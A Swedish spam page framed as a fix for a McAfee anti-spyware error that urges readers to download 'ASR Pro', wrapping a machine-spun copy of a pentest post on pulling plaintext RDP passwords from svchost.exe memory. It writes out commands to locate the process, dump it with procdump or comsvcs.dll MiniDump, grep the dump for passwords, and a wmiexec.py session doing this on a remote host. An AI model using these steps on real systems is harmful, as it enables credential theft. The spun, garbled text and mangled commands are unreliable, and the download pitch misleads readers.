Nyligen stötte några av våra kunder på en känd felkod i mcafee anti-spyware-koalitionen. Detta problem uppstår för flera förklaringar. Nu ska vi diskutera dem.

Lid inte längre av Windows-fel.

1. Ladda ner och installera ASR Pro

2. Starta programmet och klicka på knappen "Återställ"

3. Välj de filer eller mappar du vill återställa och klicka på knappen "Återställ"

Ladda ner denna fixeringsmjukvara och fixa din dator idag.

SUPER antispionprogram.Skadliga program.Komodo antivirus.Antivirus Avast.spionrobot.Reklam antivirus.Bitdefender antivirus.Spionblaster.

Nyligen surfade jag på Twitter och kom in i en mycket intressant tweet:

En enkel franchisesökning av svchost.A exe där minnet av var och en av våra taktiker okrypterat avslöjade textlösenordet som valts för att komma åt systemet via RDP.

Efter en del tester hittade jag också saker som var möjliga att reproducera det. Jag har det mycket bra av anledningarna när du följer:

Lösenordet skrivs in i säker text. De flesta fönster är uppdaterade i hela systemet x crossbow stöder inte längre wdigest, så det är mycket sällsynt att de kan hitta spår i vanlig textminne. Lösenordet är

som gör svchost.exe och inte i lsass.exe. Detta innebär att verktyg som är lämpliga för att upptäcka/förhindra återställning av säkerhetslösenord under lagring kanske inte upptäcker det på marknaden. Verifierad

Jag gör den här, tillsammans med många andra, och dessutom har jag hittills tittat:

Det verkar för att verkligen fungera på Windows 10, Windows Server 2016, Windows 2012 server. Som förmodligen andra, men definitivt, hittills har jag sett honom lyckas mot dem också. ord

Enligt journalisten för Twitter-uppdateringen och liknande testare är den tillgänglig för närmaste konton och webbplatsnamn.

Detta är troligen inkonsekvent. Ibland finns det ett användarnamn och lösenord i samband med detta. Ibland inte alltid. Jag vet inte exakt varför. Det verkar finnas i minnet som under en lång tidsperiod, men hur länge är i allmänhet okänt.

Om du verkligen är som jag är din största utmaning verkligen, “Hur troligt är det att jag kommer att bearbeta denna IRL just nu?”

Hitta en enorm smart process. Jag har sett flera sätt att uppnå detta.

Använd Process Hacker 2. Du går till någon sorts “Nätverk”-flik och får ett koncept som har en RDP-anslutning. är effektiv Detta är endast om din RDP-anslutning fortfarande är aktiv.

Använd netstat. pågår | Select-String exekvering:

netstat TermService -Context Alt="" 1

steg. RDP-webbsidan måste också vara aktiv för att få detta.

Använd en uppgiftslista. Kör:

lista över åtgärder för /M:rdpcorets.Alt="" dll

du kan se processer som fyller Rdpcorets-rdp.dll-biblioteket. Detta verkar på vägen vara den billigaste metoden som inte beror på RDP-lektionen för att bli aktiv.

När du känner igen en process behöver du bara ta bort den. Det finns variabler. Här är några sätt att utföra det:

Använd Process Hacker 2. Högerklicka på din nuvarande fil och välj “Skapa den valda dumpfilen…”

Använd Aktivitetshanteraren”. Högerklicka i princip på processuppsättningen och speciell “Generera dumpfil”

Använd Procdump.exe.

procdump.[BEHANDLA körbart ID] -ma [PATH -acceptula TILL FIL]

Använd comsvc.dll.

.rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump [PROCESSID] [FILEPATH] full

När du kanske har en butik behöver du för att hitta den. Var noga med att följa strängarna med spelet -el för teckenstorleksalternativet augusti. På den här nivån är det svåraste att veta att eftersom du skurar så känner du förmodligen inte till den privata informationen. Här är resultaten av en hel del arkiv som skiljer sig från min test-el:

Strängar svchost* | grep n00py -C3:: kodad-8439-3d9ad4c9440fpiratn00py69420-6e7e-4f4b-8439-3d9ad4c9440fSession1Mouse0TERMINPUT_BUS--KONTOR-5M7P3LKoAAAAanPAAAAAAAw4pY3Ifher#Wp8RboaGPtvZYcAajhB4u2urQcCyooSqCpiratn00py69420Ring ualChannel på den här anslutningen hela lasten i CUMRDPConnection::CreateVirtualChannel på 2622 err=[0x80070032]?SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_0002#1ca05181-a699-450a-9a0c-de4fbe3ddd89?SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_0001#1ca05181-a699-450a-9a0c-de4fbe3ddd89--WmVMVmWMWnAnFnmnsnVnWoVPapAppAppcpFPPHPRPspVpWsrSvWbDbQpfnlslzAEaeAEaeaaAAaoAOauAUavAVavaVayAYooOOSSthththvyVYLLlln00py69420?SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_0002#1ca05181-a699-450a-9a0c-de4fbe3ddd89e4fbe3ddd89}?SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_0001#1ca05181-a699-450a-9a0c-de4fbe3ddd89--KONTOR-5M7P3LKpiratpiratn00py69420?SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_0003#1ca05181-a699-450a-9a0c-de4fbe3ddd89a-9a0c-de4fbe3ddd89}40fSession3Keyboard0--?SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_0002#1ca05181-a699-450a-9a0c-de4fbe3ddd89RDV::RDP::Encoder::FrameEncodingStartpiratn00py69420?SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_0002#1ca05181-a699-450a-9a0c-de4fbe3ddd89RDV::RDP::GraphicsPipelineMicroStats::GfxMDOutMovesRDV::RDP::GraphicsPipelineMicroStats::GfxCacheInsertRects

I 3 av de många fall där det viktigaste lösenordet har hittats tidigare, betyder det utan tvekan raden före att programvaran är användarnamnet till den älskade som utförde RDP-åtgärden.

I ett antal av våra fem fall ?SWD#RemoteDisplay deras nummer

Genom att använda dessa två flaggor tillsammans, måste du grovt bestämma vilken teckencykel som är användarens lösenord.

$wmiexec.py Administratör:[email protected] v0.9.23.dev1+20210504.123629.24a0ae6f Copyright - Secureauth Corporation 2020[*] SMBv3.dialect 0 används[!] Semi-interaktiv startare överensstämmer med - se vad du kör[!] Klicka på hjälp för ytterligare skalkommandonC:>Uppgiftslista /M:rdpcorets.dllBildrubrikmoduler =========================== pid================================================== =svchost.exe 408 rdpcorets.dllC:>lput procdump64.exe[*] Ladda ner procdump64.exe till C:procdump64.exeC:>C:>procdump64.exe -mother 408 -acceptula svc.dmpVerktyget ProcDump v10.0 - Sysinternals dumpningCopyright (C) 2009-2020 Mark Russinovich & RichardsSystern Andrei. www.sysinternals.com[20:58:17] Dump 1 initierad: C:svc.dmp[20:58:18] 1 entré raderad: Uppskattad dumpfilstorlek är normalt fortfarande 67 MB.[20:58:18] 1 klar: sextiosju MB skriven 0,6 sekunder till Dump[20:58:18] räknaren nådd.C:>lget svc.dmp[*] Ladda ner från C:svc.dmp

[email protected]:~# post -el svc.dmp| grep n00py -C1piratn00py69420192.168.2.215--piratn00py69420192.168.2.215--piratn00py69420192.168.2.215--SWDMSRRASMS_L2TPMINIPORTn00py69420?SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_0004#1ca05181-a699-450a-9a0c-de4fbe3ddd89

Eftersom jag har loggat in och ut i flera timmar kan vi båda se att lösenord för allmän säkerhet lagras i ett valv på flera platser.

Detta är långt ifrån ett alltmer vetenskapligt experiment, men jag längtade efter att lägga till lite dokumentation eftersom det verkligen inte finns mycket av det ännu. Jag hoppas att någon som är smartare än personligen kommer att kunna förstå exakt vad som händer och tipsa om hur man använder det.

Ladda ner denna fixeringsmjukvara och fixa din dator idag.

Anti Spyware Coalition Mcafee
Coalizao Anti Spyware Mcafee
Coalizione Anti Spyware Mcafee
Anti Spyware Coalitie Mcafee
Anti Spyware Koalition Mcafee
안티 스파이웨어 연합 Mcafee
Coalicion Anti Spyware Mcafee
Coalition Anti Spyware Mcafee
Mcafee Koalicja Anty Spyware
Antishpionskaya Koaliciya Mcafee